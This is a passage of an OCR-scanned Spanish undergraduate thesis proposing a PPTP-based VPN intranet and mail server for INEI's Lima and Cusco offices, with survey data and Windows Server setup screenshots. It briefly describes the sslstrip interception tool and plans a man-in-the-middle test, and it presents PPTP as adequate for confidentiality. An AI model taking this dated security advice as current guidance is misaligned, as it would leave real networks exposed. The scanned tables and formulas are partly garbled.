18 (Microsoft, Microsoft, 2015)
19 (Ccurso de hackers, 2016)
20 (Linux GNU Blog, 2016)
21 (Linux GNU Blog, 2016)
22 (Linux GNU Blog, 2016)
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e HERRAMIENTA SSLSTRIP
Sslstrip es una aplicacién para sistemas operativos Linux capaz de “descifrar
todo el trafico HTTPS” que viaja a través de la red y sniffea el trafico (usuarios y
claves) que viaja a través de la red en “HTTPS (cifrado)”.?3
2.2.17 ESPECIFICACIONES ROUTER CISCO RV325
Cisco RV325 es una opcidn perfecta para compafiias que necesitan una combinacion
de rendimiento, seguridad y fiabilidad para la gestion de redes de alto rendimiento.?*
Este router ofrece rendimiento, flexibilidad y seguridad en un solo dispositivo.
» VENTAJAS DE CISCO RV325
e ALTO RENDIMIENTO
Facilmente maneja archivos grandes y usuarios concurrentes para guardar a
empleados productivos
e ACCESO SIMPLE, MUY SEGURO

Une ubicaciones multiples y trabajadores remotos que usan VPN.
e FACIL DE USAR

Reducen el tiempo de la configuracion.

23 (Seguridad Informética, 2016)
24 (Cisco, Cisco, 2016)
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CAPITULO Il
METODOLOGIA

3.1 TIPO DE INVESTIGACION

Este proyecto es considerado una investigacion del tipo descriptiva.
Investigacion Descriptiva segun el autor Roberto Herndndez Sampieri en el libro
Metodologia de la Investigacién quinta edicién?®, indica lo siguiente:

La investigacion descriptiva, consiste en buscar especificar propiedades,
caracteristicas y rasgos importantes de cualquier fenébmeno que se analice?®. Es
decir se recolectara toda la informacion necesaria para poder llevar a cabo la
propuesta de implementacion de una intranet via VPN para mejorar la
confidencialidad del intercambio de informacion entre las sedes Lima — Cusco del
INEI.

3.2DISENO DE LA INVESTIGACION

El disefio de la presente investigacion es de tipo transversal, el cual se refiere
a que los individuos son observados Unicamente una vez y que las encuestas,
cuestionarios y los censos son estudios transversales.?’ Este tipo de disefio fue
elegido debido a que con anterioridad mi persona realiz6 sus practicas pre
profesionales en el Instituto Nacional de Estadistica e Informatica sede Cusco, en
donde se pudo observar de cerca de que manera se lleva a cabo el proceso de
intercambio de informacion entre las sedes Lima y Cusco del INEI, a su vez este
tipo de disefio también fue elegido debido a que para la obtencion de la
informacion se aplicaron cuestionarios al personal de las areas administrativas en
comun de las sedes Lima — Cusco del INEI.

Para realizar el presente trabajo de investigacion, se considerd lo siguiente:

e Determinar las areas de estudio.
e Establecer las técnicas de estudio: observacion y cuestionarios, los cuales se

tomaron en cuenta para recopilar toda la informacion necesaria

25 Roberto Hernandez Sampieri, Metodologia de la Investigacién, 5ta Edicién, México
26 Roberto Herndndez Sampieri, Metodologia de la Investigacién, 5ta Edicién, México
27 Altman Douglas G. “Practical Statistics for Medical Research”, 1% edition, London
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e Instalar los sistemas operativos para el desarrollo del trabajo de investigacion,
en este caso Windows server 2008 r2 como servidor y Windows 7 para
clientes.

e Configuracion de la intranet y el servidor de correos.

e Configuracion de cuentas de usuarios (clientes VPN).

e Pruebas de envio y recepcion de mensajes entre las cuentas configuradas.

e Realizar pruebas con el ataque man in the middle para probar la efectividad de
la VPN.

e Analizar los resultados de la fase de pruebas para obtener las conclusiones.

e Finalmente elaborar las recomendaciones para futuros trabajos de
investigacion.

3.3 POBLACION Y MUESTRA
3.3.1 POBLACION
Como poblacion se considerd a todas las areas administrativas de las sedes

Lima - Cusco del INEI, la cantidad de éstas fueron especificadas en el siguiente

cuadro.
AREAS EN TOTAL INEI
SEDE INEI AREAS AREAS AREAS EN TOTAL
ADMINISTRATIVAS
EN COMUN ADMINISTRATIVAS
LIMA 8 17 17
CUSCO 8 3
AREAS TOTAL ,
LIMA - CUSCO 25 AREAS ADMINISTRATIVAS

Tabla 3 Poblacion del INEI sedes Lima — Cusco — Fuente (Elaboracion Propia)

En el cuadro anterior se puede apreciar que en la sede Lima del INEI se tiene
un total de 17 areas administrativas (véase en el ANEXO 1), mientras que en la
sede Cusco se tiene un total de 08 areas administrativas (véase en el ANEXO 2).
En el siguiente cuadro se puede apreciar la cantidad total del personal, los cuales

laboran en las areas administrativas de las sedes Lima — Cusco del INEI.
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CANTIDAD DE PERSONAL
SEDE AREAS TOTAL CANTIDAD
AREAS DE PERSONAL
ADMINISTRATIVAS | APMINISTRATIVAS
EN COMUN

LIMA 150 70 220
CUSCO 13 13
TOTAL )

TRABAJADORES 233 Trabajadores en Areas Administrativas
LIMA - CUSCO

Tabla 4 Total Personal en las Areas Administrativas de las Sedes Lima - Cusco del INEI-
Fuente (Elaboracion Propia)

Segun los datos expuestos en el cuadro anterior, se puede observar que en
la sede Lima se tiene un total de 220 trabajadores en las areas administrativas en
general, mientras que en la sede Cusco sélo se tiene un total de 13 trabajadores,
obteniendo un total de 233 trabajadores en las areas administrativas.

3.3.2 MUESTRA

El tipo de muestra que se utiliz6é en el presente trabajo de investigacion fue del
tipo “probabilistico”, debido a que todos los trabajadores de las areas
administrativas en comun entre las sedes Lima — Cusco del INEI (véase en el
ANEXO 3), tienen la misma probabilidad de ser elegidos para representar a la
poblacion en general. La técnica del muestreo probabilistico utilizada fue el
“‘muestreo aleatorio estratificado”, ya que el personal administrativo a los cuales
se les aplicé el cuestionario adjuntado en el ANEXO 4, fueron realizados en los
horarios de jornada laboral en ambas sedes.

Asimismo cabe indicar que el muestreo probabilistico es “la seleccion de
elementos que se basa parcialmente en el criterio del investigador’?® y que la
técnica de muestreo aleatorio estratificado, hace referencia al estudio de un
subgrupo dentro de la poblacidén, que esta conformada por sujetos facilmente
accesibles y presentes en un lugar determinado.

El siguiente cuadro hace referencia a la cantidad total de trabajadores y areas
administrativas en comun entre las sedes Lima — Cusco del INEI, los cuales fueron

tomados como punto de estudio (muestra) del presente trabajo de investigacion.

28 Kinnear y Taylor, Metodologia, 1998. Pag. 145
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TOTAL DE TRABAJADORES
DE AREAS
SEDE INEI AREAS éﬁl\élglllwsgl\RlATIVAS ADMINISTRATIVAS EN
COMUN
LIMA 70
8
Cusco 13
8 AREAS
LIMZ(-)-EIAL\JLSCO ADMINISTRATIVAS EN 83 Trabajadores
COMUN

Tabla 5 Muestra de estudio INEI Sedes Lima - Cusco— Fuente (Elaboracion Propia)

e CRITERIOS DE INCLUSION DE LA MUESTRA

Para el desarrollo del presente trabajo de investigacion se consider6 como
unico punto de estudio las “areas administrativas en comun de las sedes Lima -
Cusco del INEI”, debido a que se tuvo mas accesibilidad especificamente a las
areas administrativas de la sede Cusco del INEI (véase ANEXO 2).

Como se obtuvo un total de 83 trabajadores como muestra, se vio por
conveniente determinar un unico tamafio del muestreo utilizando la siguiente
formula del tipo de poblaciéon finita, en donde se trabajé con el 95% de
confiabilidad y el 5% de margen de error.

21— *N
_N62+Zz*p*(1—q)

Donde:
n : Tamafio de la muestra. p : Probabilidad a favor.
e : Error de estimacion. g : Probabilidad en contra.

Z : Nivel de confianza.
N : Universo.
DATOS:
n:?
: 5% = 0.05
: 1.96 (tabla de distribucion normal para el 95% de confiabilidad y 5% error)
. 83 trabajadores
- 0.50
: 0.50

o T Z N O
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SOLUCION:

Reemplazando los valores de la informacion que se tiene, se obtuvo lo siguiente:

- (1.96)2(0.5)(1 — 0.50)(83)
(83)(0.05)% + (1.96)2(0.50)(1 — 0.50)

n = 68.25

n = 68 Trabajadores

Con el resultado obtenido de 68 trabajadores, esa fue la cantidad la cual representé
al total de los 83 trabajadores que en un inicio se tenia.
3.4 INSTRUMENTOS

3.4.1 INSTRUMENTOS PARA LA RECOLECCION DE INFORMACION
Para la recoleccion de datos se tomo en cuenta el uso de las siguientes técnicas:
e LA OBSERVACION

Esta técnica permitié identificar con mas facilidad el problema ya que mi
persona anteriormente realizO sus practicas pre profesionales en dicha
instituciébn en la sede Cusco, cabe mencionar que se utilizé el tipo de
observaciéon “no estructurada” debido a que al momento de realizar las

practicas pre profesionales aun no se tenia identificado el problema”.

Gracias a la utilizacion de esta técnica se pudo identificar el problema, asi
mismo se planteé una solucion para la mejora de la confidencialidad en el

intercambio de informacion.
e CUESTIONARIO

Esta técnica permitié plantear un listado de preguntas, con la finalidad de
verificar de qué manera actualmente se lleva a cabo el intercambio de
informacion entre las sedes Lima — Cusco del INEI, este cuestionario puede ser
observado en el ANEXO 4, el cual estd compuesto por un total de ocho (08)
preguntas, en donde las cinco (05) primeras preguntas fueron dirigidas a todo
el personal de las areas administrativas en comun de las sedes Lima y Cusco
del INEI, y las tres (03) preguntas restantes fueron dirigidas solo al personal del

area de informéatica.
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3.5 RECOLECCION Y ANALISIS DE DATOS

Para dar fiabilidad de la herramienta utilizada (cuestionario), para la recoleccion
de la informacion, se utilizo la prueba alfa de Cronbach (véase ANEXO 7), dando
un total del 0.88 de fiabilidad, teniendo en cuenta que el rango de fiabilidad en la
prueba alfa de cronbach es >0.6 y <=1.

Con las respuestas obtenidas del cuestionario aplicado al personal
administrativo en comun de las sedes Lima- Cusco del INEI, se obtuvieron los
siguientes resultados:

Las siguientes preguntas se realizaron a los trabajadores de las areas
administrativas de las sedes Lima — Cusco del INEL.

1) ¢Actualmente en lainstitucién se utilizan correos no institucionales para
el envio y recepcion de informacién confidencial?
Si () -> Hotmail () Gmail ( ) otros ( )
No ( ) ¢Por qué?

ALTERNATIVAS RESULTADOS

) 100%
Hotmail

. 0%

Sl Gmail
0%

Otros
0%

NO

Tabla 6 Porcentaje de uso de servidores de correo — Fuente (Elaboracion Propia)

100%
80% /
60%

40%

20%

0%

Img 5. Porcentaje de uso de Hotmail para el envio y recepcidon de informacién
confidencial- Fuente (Elaboracion Propia)
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Aplicada la encuesta, la respuesta por parte del 100% de los trabajadores fue que
ciertamente en la institucion se utilizan correos no institucionales como es el
Hotmail, utilizado como medio para el envio y recepcion de informacion
confidencial.

2) ¢Usted posee una cuenta de correo institucional?

ALTERNATIVAS RESULTADOS
si 0%
- 100%

Tabla 7 Porcentaje de Trabajadores que Poseen una Cuenta de Correos Institucional—
Fuente (Elaboraciéon Propia)

100%
90%
80%
70%

60% %
50%
40%
30%
20% 0%
10% >

0%

sl NO

Img 6. Porcentaje de Trabajadores que Poseen o no una Cuenta de Correo Institucional —
Fuente (Elaboracion Propia)

Con las respuestas obtenidas se puede observar que el total del 100% de los
trabajadores no posee una cuenta de correo institucional para el envio y recepcion
de correos los cuales la mayoria de ellos contienen temas confidenciales

pertinentes a la institucion.
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3) ¢Utiliza su cuenta de correo no institucional para el envio de informacién

laboral y confidencial?

()

No () ¢Por qué?

ALTERNATIVAS RESULTADOS

Si 100%

NO 0%

Tabla 8 Porcentaje de trabajadores que utilizan cuentas de correo no institucional- Fuente
(Elaboraciéon Pronia)

r 7
100%
80%
60%
40%
A
0%
X SI NO |

Img 7. Porcentaje de trabajadores que utilizan sus cuentas de correo no institucional—
Fuente (Elaboraciéon Propia)

Segun el 100% de trabajadores encuestados, afirman utilizar sus cuentas de

correos no institucionales como Hotmail, para el envio de informacién personal y

confidencial de una sede a otra (Lima - Cusco).
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4) ¢Quétipo de informacion es la que se envia por estas cuentas?

ALTERNATIVAS RESULTADOS
a) | Acuerdos de proyectos a nivel nacional a realizar 57%
b) | Envio del monto econémico por cobrar 24%
c) |Agenda a tratar en reunion 14%
d) | Otros 504

Tabla 9 Tipo de Informacion Enviado por Cuentas de Correos no Institucionales— Fuente
(Elaboracion Propia)

Agenda a tratar Otros
en reunion 5%
14%

Img 8. Porcentaje de tipo de informacién enviada por cuentas de correos instruccionales—
Fuente (Elaboracion Propia)

El tipo de informacion confidencial que se envia con mas frecuencia por las
cuentas de correo no institucional, son:

e Con un 57% los acuerdos de proyectos que se han de desarrollar a nivel
nacional, en este punto se indican la cantidad especifica de materiales que
se envian de una sede a otra.

e Conun 24% el envio de monto econdmico por cobrar, este hace referencia a
la suma econémica que envia la sede Lima a la sede Cusco para el desarrollo
de uno de los proyectos que éste ordend.

e Conun 14% la agenda a tratar en reunion.

e Conun 5 % otros.
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5) ¢Le gustaria que se implemente un correo institucional para el envio y

recepcion de informacion netamente institucional?

Si ()

No () ¢Por qué?

ALTERNATIVAS RESULTADOS

Si 96%

Tabla 10 Porcentaje de trabajadores a favor que se implemente un correo institucional—
Fuente (Elaboraciéon Propia)

100%
90%
80%
70%
60%
50%
40%
30%
20%
10%

0%

Si NO

Img 9. Porcentaje de trabajadores a favor que se implemente un correo institucional—
Fuente (Elaboracion Propia)

El 96% del personal encuestado indicd que si le gustaria que se lleve a cabo la
implementacion de un correo institucional para el envio y recepcion de
informacion netamente institucional, asi mismo cabe sefalar que el 4% del
personal indicé todo lo contrario, debido a que se teme que el manejo de
procedimientos para el envio y recepcion de informacién al cual estan

acostumbrados, sea diferente a como hoy en dia la viene realizando.
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Las siguientes preguntas se realizaron so6lo al personal del area de
informética de las sedes Lima — Cusco del INEI.

6) ¢Existen antecedentes de vulnerabilidades de informacién
anteriormente realizadas a alguna cuenta?

Si () ¢Como cuales?

No ()

ALTERNATIVAS RESULTADOS
- 53%
NG 47%

Tabla 11 Porcentaje de Antecedentes de Vulnerabilidades de Informacion — Fuente
(Elaboracién Propia)

54%

52%

50% -

48%

46%

44%

Img 10. Porcentaje de Antecedentes de Vulnerabilidad de Informacion — Fuente
(Elaboracién Propia)

El personal del area de informatica sefial6é que el 53% del personal administrativo
en comun de las sedes Lima — Cusco del INEI en la actualidad presenta
inconvenientes con sus cuentas de correo, debido a que estas fueron hackeadas
y el 47% indicaron que no presentan ningun tipo de problemas con sus cuentas

de correo no institucionales.
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7) ¢Se cuenta con medidas de seguridad en caso de posibles ataques?

Si () ¢Como cuales?

No ( ) ¢Porque?

ALTERNATIVAS RESULTADOS
Si 78%
- 22%

Tabla 12 Porcentaje de trabajadores que afirman la existencia de medidas de seguridad
ante posibles ataques — Fuente (Elaboraciéon Propia)

78%

80%
70%
60%
50%
40% 229
30%
20%
10%

0%

SI NO

Img 11. Porcentaje trabajadores que afirman contar con medidas de seguridad — Fuente
(Elaboracion Propia)

Segun el porcentaje de las respuestas obtenidas por parte de los trabajadores del
area de informatica de las sedes Lima — Cusco del INEI, sefialan lo siguiente: el
78% indica que la institucion se basa en algunas de las politicas de seguridad del
ISO 27001 pero que éstas NO estan siendo aplicadas, a su vez mi persona puede
ratificar con lo sefialado debido a que con anterioridad me encontraba en calidad
de practicante en el area de informéatica del INEI sede Cusco, finalmente el 22%

sefiala todo lo contrario ya que éstos se encuentran en calidad de nuevo personal.
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8) ¢Estaria de acuerdo con la implementacion de una intranet via VPN para la
interconexion de las sedes Lima — Cusco del INEI?

Si () ¢Porqué?

No ( ) ¢Por qué?

ALTERNATIVAS RESULTADOS
si 100%
NO 0%

Tabla 13 Porcentaje de trabajadores a favor de laimplementacién de una intranet Via VPN
— Fuente (Elaboracién Propia)

100%
90%
80%
70%
60%
50%
40%
30%
20%
10%

0%

Sl NO

Img 12. Porcentaje de Trabajadores que Desean que se Realice la Implementacién de una
Intranet Via VPN — Fuente (Elaboracién Propia)

El 100% del personal informético encuestado indicé que si estaria de acuerdo con
la implementacién de una intranet via VPN para la mejora de la confidencialidad
del intercambio de informacion entre las sedes Lima — Cusco del INEI, obteniendo

asi ninguna negativa ante dicha propuesta.
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CAPITULO IV

REQUERIMIENTOS, ANALISIS Y DISENO DE LA INTRANET

PROPUESTA
4.1 IDENTIFICACION DE REQUERIMIENTOS

Anteriormente mi persona realizé sus préacticas pre profesionales en la sede Cusco
del INEI, durante mi estancia en dicha institucion pude observar de qué manera se
lleva a cabo la transmision de informacion entre las sedes Lima- Cusco del INEI, asi
como también algunos incidentes que se produjeron en la sede Cusco los cuales
fueron anteriormente mencionados en la descripcion de la situacion actual
perteneciente al Capitulo I.

Una vez culminado con el periodo de practicas pre profesionales, decido realizar
para la entidad una mejora en la seguridad de la informacion en base al ISO 27001,
tomando al CID (confidencialidad, integridad y disponibilidad) para dar solucién a los
problemas observados en la entidad.

e CONFIDENCIALIDAD
Asegura que la informacién de la entidad sea accesible Unicamente al
personal administrativo autorizado de las sedes Lima — Cusco del INEI.

e INTEGRIDAD
Asegura que la informacion llegue completa y exacta tal y como se envi6 del
emisor al receptor, ya sea entre el personal administrativo perteneciente a la
sede Lima - Cusco, o entre el personal de una sola sede en patrticular.

e DISPONIBILIDAD
El personal administrativo de ambas sedes podra tener acceso a la
informacion propia de la entidad que éste haya enviado o recibido del emisor,
cuando sea necesario.

4.2 ANALISIS DE LA SOLUCION

Para llevar a cabo la fase de analisis de la solucion, se realiz6 la comparacién entre
una conexién con VPN y otra con una red normal la cual actualmente viene utilizando
las sedes Lima — Cusco del INEI, dicha comparacion se realizo con el objeto de ver
cual de éstas seria la mejor opcion que se ajuste a las necesidades actuales de la
entidad, teniendo como objetivo garantizar la confidencialidad, integridad y la

disponibilidad de la informacion que ejecutan ambas sedes.
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4.2.1 RED ACTUAL VERSUS RED CON VPN

RED ACTUAL RED CON VPN

e Encripta la informacion.

e Permite a los usuarios tener una conexion remota.

e Mejora la seguridad de la informacion.

e Mejora la productividad.

e Confidencialidad de la informacion.

e Permite la integridad, confidencialidad de los datos.

e limitado a los costes de hardware, mantenimiento y actualizacion
e Integridad de la informacion.

e Autenticacion y autorizacion.

VENTAJAS

e La informacion que se establece de una sede | ¢ Velocidad de internet es menor al de una conexion tradicional.

DESVENTAJAS a otra viaja sin ser encriptada.

¢ Posible robo de informacion durante él envié
de informacién entre una sede a otra.

e Pago al proveedor por el servicio de internet. | e Los costos para llevar a cabo tanto la implementacion como el

mantenimiento de esta tecnologia, tiene que ver mas con la

capacitaciéon que se deba brindar al personal encargado de las

COSTO oficinas de informética de ambas sedes decir la entidad mas que
realizar un gasto, estaria realizando una inversion cuya retribucion
seria asegurar la integridad, confidencialidad y seguridad de la
informacion.

e Pago al proveedor por el servicio de internet.

¢ Bajos costos.

¢ Facilidad de uso.

BENEFICIO e Optima la comunicacion y el flujo de informacion entre empleados.

e Control de acceso basado en las politicas de la organizacion.

e Hace posible la comunicacién con un nimero extenso de usuarios a
bajo costo.
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eincrementa el nivel de seguridad para el resguardo de la
confidencialidad de la informacion emitidas de una sede a otra.

e Utiliza protocolos de seguridad y encriptacion de datos para
mantener la confidencialidad y autenticidad de los mismos.

Tabla 14. Red actual versus Red con VPN - Fuente (Elaboraciéon Propia)

Una vez habiéndose realizado la comparativa entre la red actual que viene utilizando el INEI y la red con VPN, se vio por conveniente
proponer la implementacion de una intranet via VPN (red con VPN), con la finalidad de mejorar la confidencialidad, la integridad y la

disponibilidad de la informacion, asimismo asegurando el resguardo de ésta.
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4.2.2 DISENO DE LA SOLUCION

SEDE LIMA ‘/ SEDE CUSCO

ROUTER 2 — TP-LINK

L

ROUTER - ZTE L A

Windows
Server
2008

Windows
Server
2008

* SERVIDOR VPN

* SERVIDOR DE CORREO

o L | Windows 7 Windows 7
— == Professional Professional

Img 13. Disefio de la solucion — Fuente (Elaboraciéon Propia)
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e DESCRIPCION DEL DISENO DE LA SOLUCION

o Eltipo de VPN utilizado en el presente trabajo de investigacion, fue del tipo “punto a
punto” con la finalidad de interconectar las sedes Lima — Cuso del INEI, ambas sedes
ubicadas en distintos lugares geograficos.

o La arquitectura utilizada, fue VPN de sistema operativo, debido a que el sistema
operativo que se utilizo para la configuracion de la intranet fue Windows server 2008
r2 utilizando los servicios de: domino de Active Directory, servicios de acceso y
directivas de redes, servicios de acceso remoto y creacion de usuarios para el
personal de las areas administrativas en comun entre las sedes Lima — Cusco del
INEI, asimismo se utiliz6 Windows 7 Professional para la configuracién de los clientes
VPN, utilizando los servicios de conectividad para conectarse a la intranet.

o El protocolo de tunel empleado fue el PPTP, utilizando la conexion TCP con el puerto
1723 (puerto VPN). El protocolo PPTP muy aparte de ofrecer una encriptacion bésica
de la informacién que se establezca entre las sedes Lima — Cusco del INEI, ofrece
una velocidad mas rapida de la VPN.

o La plataforma en la que se realizaron las configuraciones de la VPN fue en Windows
Server 2008 r2, esto implica a que si la intranet se configura en versiones posteriores
a ésta, la intranet funcionara perfectamente al igual como funcioné en esta version.

o Para la creacion de la intranet, simular su funcionamiento y acorde a mis
factibilidades técnicas, se utilizaron dos routers convencionales (ZTE y TP - LINK),
con los cuales la intranet funcion6 perfectamente, esto quiere decir que si la intranet
se configura en otros routers de gama alta como por ejemplo CISCO y otras marcas,
la intranet ha de funcionar con mayor razén. Cada router estuvo ubicado en diferente
zona geografica. Las caracteristicas de cada router, se detallan en el siguiente

cuadro:
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\ ROUTER 1 ROUTER 2

Marca ZTE TP-LINK
Modelo ZXHN H108N TD-W8901G
Velocidad de AMB AMB

Transmision
Tabla 15. Routers ZTE y TP-LINK — Fuente (Elaboracion Propia)

NOTA: El ISP utilizado en ambos casos fue el ISP de telefénica.

4.2.3 DESCRIPCION TECNICA
e HARDWARE

Para llevar a cabo las configuraciones de la intranet via VPN en Windows server

2008 r2, se utiliz6 lo siguiente:

CANTIDAD BIEN DESCRIPCION
Servidor VPN
P Escritorio 1
C de Escritorio Servidor de
2 Correos
PC de Escritorio 2 Servidor VPN
Laptop 1
2 Clientes VPN
Laptop 2

Tabla 16. Descripcién técnica — Hardware — Fuente (Elaboracién Propia)
o PCDEESCRITORIO 1

La PC de escritorio 1, la cual contiene al servidor VPN y al servidor de correos,

comprende las siguientes caracteristicas:

SERVIDOR VPN - SERVIDOR .
DE CORREOS CARACTERISTICAS
Placa madre H97 Gigabyte
FSB de Placa 1333 MHz
Procesador CORE i5
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Arquitectura X64
RAM 8GB
Tipo de Ranura de RAM DDR3

Sistema Operativo

Windows Server 2008 r2 - 64bits

Disco

1TB

Tarjeta de video

no integrado

Tabla 17. Descripcién Técnica - Maquina de escritorio 1 — Fuente (Elaboracién Propia)

o PC DE ESCRITORIO 2

La PC de escritorio 2, simula al servidor VPN y comprende las siguientes

caracteristicas:

SERVIDOR VPN

CARACTERISTICAS

Placa madre H81 Gigabyte
FSB de Placa 1333 MHz
Procesador CORE i5
Arquitectura x64
RAM 8GB
Tipo de Ranura de RAM DDR3

Sistema Operativo

Windows Server 2008 r2 - 64bits

Disco

500GB

Tarjeta de video

Integrado

Repositorio Digital
de Tesis

Tabla 18. Descripcién Técnica - Maquina de escritorio 2 — Fuente (Elaboracién Propia)
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o LAPTOP1
CLIENTE VPN CARACTERISTICAS
Marca HP
Modelo G4-2050la
Procesador Core i5
Arquitectura x64
RAM 8GB
Tipo de Ranura de RAM DDR3

Sistema Operativo

Windows 7 Professional - 64 bits

Disco

500GB

Tabla 19. Descripcién Técnica — Laptop 1 — Fuente (Elaboracidon Propia)

o LAPTOP 2
CLIENTE VPN CARACTERISTICAS
Marca Toshiba
Modelo Satelite L50T-A-11T
Procesador Corei7
Arquitectura x64
RAM 6GB
Tipo de Ranura de RAM DDR3

Sistema Operativo

Windows 7 Professional - 64 bits

Disco

750 GB

Tabla 20. Descripcién Técnica — Laptop 2 — Fuente (Elaboracion Propia)
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e SOFTWARE
En el siguiente cuadro se puede observar los instaladores que fueron utilizados

parallevar a cabo las configuraciones tanto de la VPN como el servidor de correos.

SOTFWARE
BIEN SERVICIO UTILIZADO
Servidor VPN Windows Iggrver 2008
Maquina de :
Escritorio 1 Windows Server
Servidor de Correos 2008 r2
Exchange Server
2010
Magquina de Servidor VPN Windows Server 2008
Escritorio 2 r2
Windows 7
Laptop 1y 2 Configuracion de clientes VPN Professional

Tabla 21. Descripcién Técnica — Software — Fuente (Elaboracion Propia)
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4.2.4 DISENO DE LA INTRANET EN PRODUCCION

SEDE LIMA o SEDE CUSCO
Conexion VPN _ : TU —

Cisco Cisco
RV325 RV325
NTERNET
Windows
Windows Server
Server 2008
2008 * SERVIDOR VPN

SERVIDOR VPN

* SERVIDOR DE CORREO

= _-o» Windows 7 Windows 7
R F@ = I~ | Professional Professional

Img 14. Disefio de laintranet en produccién — Fuente (Elaboraciéon Propia)
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e DESCRIPCION DEL DISENO DE LA INTRANET EN PRODUCCION

Si deseara implementar la intranet VPN para la mejora de la confidencialidad en el
intercambio de informacion entre las sedes Lima Cusco del INEI, se necesitaria los
siguientes aspectos:

o Pc’s con Windows 7 Professional para los clientes VPN, los cuales actualmente son

utilizados por los trabajadores administrativos de ambas sedes.

o Un servidor VPN y Correo para la sede Lima en la plataforma Windows server 2008.
o Un servidor VPN para la sede Cusco en la plataforma Windows server 2008.

o Dos routers Cisco una para cada sede (Lima — Cusco del INEI), para el uso exclusivo

de la intranet via VPN con las siguientes especificaciones:

ROUTER - SEDE ROUTER - SEDE
LIMA CUSCO
Marca Cisco Cisco
Modelo Cisco RV325 Cisco RV325
VeIomdac! ,de SMB AMB
Transmision

Tabla 22. Especificaciones routers cisco para sedes Lima — Cusco — Fuente
(Elaboracién Propia)
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CAPITULO V

DESARROLLO DE LA INVESTIGACION

5.1 CONSTRUCCION DE LA INTRANET VIA VPN

5.1.1 CONFIGURACION DEL SERVIDOR VPN
Para iniciar con el proceso configuracion VPN, se realizaron las instalaciones previas
tanto para el Servidor VPN como para los clientes VPN (Personal administrativo).
Para el servidor VPN, se utilizo el sistema operativo Windows server 2008 Enterprise,
la instalacion de dicho sistema operativo se muestra en el ANEXO 5.

5.1.2 DIRECCION IP DEL SERVIDOR
Para asignar una direccion IP al servidor se siguieron los siguientes pasos:
propiedades de red, administrar conexiones de red, conexion de area local (presionar
anticlick), propiedades, protocolo de internet version 4 (TCP/IPv4), pulsar aceptar y
verificar la conexion a internet.

Propiedades de Protocolo de Internet vers x|

General |

Puede hacer que la configuracion IP se asigne automaticamente si la red
es compatible con esta funconalidad. De lo contrario, debera consultar
con el administrador de red cudl es la configuracidn IP apropiada.

" Obtener una direccén IP automaticamente

—I{% Usar la siguiente direccién IP:

Direccion IP: I 192 188, 1 . 37

Mascara de subred: | 255,255,255, 0

Puerta de enlace predeterminada: | 192 . 168, 1 . 1

" obtener |a direccidn del servidor DG automaticamente

{¥ Usar las siguientes direcciones de servidor DNS:

Servidor DNS preferido: I

Servidor DMS alternativa: I

Cpciones avanzadas. .. |

Img 15. Direccion IP del Servidor VPN — Fuente (Elaboracion
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5.1.3 ASIGNACION DE CONTRASENA

Para no tener ningun inconveniente durante el proceso de configuracion del Servidor
VPN, fue necesario asignarle una contrasefia, para ello se deben seguir los
siguientes pasos: panel de control, cuentas de usuario, crear una contrasefia para la
cuenta.

Es importante que la contrasefia incluya nimeros, letras mayusculas y minasculas
con el proposito de brindar seguridad al servidor.

Una vez asignado y confirmado la contrasefia se seleccion6 la opcion “Crear

Contrasena”.

Crear una contraseiia para la cuenta

| Administrador
Administrador

Si la contraseria contiene letras maylsculas, debe escribirla de la misma manera cada vez que inicie sesidn,
Coma crear una contraseria segura

I Escriba un indicio de contrasefia

El indicio de contrasenia sera visible para todos los usuarios gue utilicen este equipo.
£Qué es un indicio de contrasefia?

Crear contrasefia :I Cancelar |

Img 16. Asignacién de Contrasefia al Servidor VPN — Fuente (Elaboracion
- Propia). - - . - - - -
Para guardar los cambios efectuados se reinicié el equipo. Una vez iniciado la sesion

del administrador colocar la contrasefia que se asigno al servidor.

Cancelar

- :
" Windows Server2008
Enterprise

Img 17. Inicio de Sesion al Servidor VPN - Fuente
(Elaboracion Propia)
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5.1.4 INSTALACION DE SERVICIOS DE DOMINIO DE ACTIVE DIRECTORY
Para iniciar con la configuracion de Active Directory se siguieron los siguientes

pasos: presionar las teclas Windows + R, escribir el comando dcpromao.

]

Ezcriba el nombre del prograrna, carpeta, documento o
recurse de Internet que desea abrir con Windows,

=],

Abrir: depromao j

Y Estatarea se creara con privilegios administratives,

Aceptar é! Cancelar | Examinar... |

Img 18. Ventana de Ejecuciéon dcpromo — Fuente
(Elaboracion Propia)

En la ventana del asistente para la instalacion de los Servicios de dominio de Active,

se selecciond la opcidn “usar la instalacion en modo avanzado”.

o Asistente para la instalacién de los Servicios de domini x|

Asistente para la instalacion de los
Servicios de dominio de Active

Este asistente le ayuda a instalar log Servicios de dominio
de Active Directory (AD D5} en este servidor, haciendo que
éste sea un controlador de dominio de Active Directony.
Para continuar, haga clic en Siguiente.

¥ Usarla instalacion en mode avanzado

&g informacion acerca de las opciones adicionales
disponibles en la instalacidn en modo avanzado.

Mag informacion acerca de los Serviciog de dominio de
Active Directory

< fitras I Siguiente ;|:': I Cancelar

Img 19. Ventana del Asistente para la Instalacién de los Servicios de dominio
de Active — Fuente (Elaboracién Propia)
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Se selecciond la opcion “Crear un dominio nuevo en un bosque nuevo”, ya que se

creara por primera vez un nuevo dominio.

B! Asistente para la instalacio

Hegir una configuracion de implementacion
Puede crear un controlador de dominio para un bosque existente o un bosgue
MUEVa. —ilh

{" Bosque existerte

" Aaregar un controladar, de daminio: & un daminio existente

" Crean un dominio nueys enun bosque existente

Ezte servidar 22 convertind en el primern contraladan de domitio del fusse
dominic.

[" | Crear una raiz de &bollde dominio Aueva en lugar de un nuess dominic
secundario

%' Crear un dominio nuevo en un bosgue nuevo

Mas infformacién acerca de las posibles configuraciones de implementacidn

< Mras I Siquiente E I Cancelar |

Img 20. Asistente para la Instalacion de los Servicios de
Dominio de Active Directory — Fuente (Elaboracion Propia)

El nombre del dominio raiz del bosque que se utilizé para la configuracién del servidor

VPN fue el nombre de la institucion, en este caso fue “inei.com”.

ol Asistente para Iz x|

Asigne un nombre al dominic raiz del bosque
El primer dominio del bosgue es el dominio raiz del bosque. Su nombre también es
el nombre del bosque. -

Escriba &l nombre de dominio completa {(FQDM) del nuevo dominio raiz del bosque.

FGQDN del dominio raiz del bosgue:

inei.com

Ejemplo: comp Comprobande &l nombre NetBIOS...

< Mras | Siguientet‘%J Cancelar |

Img 21. Nombre del dominio raiz del bosque — Fuente
(Elaboracion Propia)

67
Br. JENNY MAR SEGUNDO

DERECHOS DE AUTOR RESERVADOS




Repositorio Digital
de Tesis

///\\\ UNIVERSIDAD ANDINA DIL CUSCO

"

intercambio de Informauon entre las Sedes Lima-Cusco del INEI Caso: Servidor De Correos

Los niveles de funcionalidad del bosque pueden ser Windows server 2000,2003 y
